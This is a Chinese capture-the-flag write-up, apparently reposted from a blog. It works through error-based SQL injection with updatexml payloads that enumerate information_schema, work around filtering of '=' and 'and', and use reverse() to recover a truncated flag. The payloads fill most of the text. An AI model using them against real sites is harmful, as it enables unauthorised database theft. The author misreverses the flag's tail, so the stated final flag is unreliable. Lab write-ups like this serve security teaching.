SOME WORDS
- 1.發現SQL注入
- 2.嘗試SQLMap
- 3.經實驗發現過濾了"="和"and"
- reverse()函式
- flag
- 總結
1.發現SQL注入

?id=1 有資料
?id=2 有資料
?id=2-1 有資料
2.嘗試SQLMap
發現報錯:

3.經實驗發現過濾了"=“和"and”
發現頁面會回傳錯誤資訊,嘗試報錯注入:

用到函式:updatexml
updatexml(目標xml內容,xml檔案路徑,更新的內容)
查詢庫名
?id=updatexml(1,concat(0x7e,(select database()),0x7e),1) 發現庫名:word

查詢有多少張表:
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1)

查詢表名:
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e),1)
至
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1)
發現有張f14g的表

查詢欄位數:
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)

查詢欄位名:
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 0,1),0x7e),1)
至
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 811,1),0x7e),1)
找到f14g欄位

讀出資料
?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)
發現flag資訊不全
flag{b892889e-6bbd-421d-b984-d6
reverse()函式


顛倒flag內容,從后往前取
?id=updatexml(1,concat(reverse((select f14g from f14g))),1)
}ef99546fdb6d-489b-d124-dbb6-e98

flag
flag{b892889e-6bbd-421d-b984-d6
}ef99546fdb6d-489b-d124-dbb6-e98
取反:
89e-6bbd-421d-b984-d6dbf64599fe}
flag{b892889e-6bbd-421d-b984-d66dbf64599fe}
所以最后flag為:flag{b892889e-6bbd-421d-b984-d66dbf64599fe},
總結
不知道為什么i春秋里的這道題flag提交一直報錯,,,,,,也是無語了
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/282256.html
標籤:其他
上一篇:網路編程基本詳情
下一篇:十分鐘教你搭建個人博客
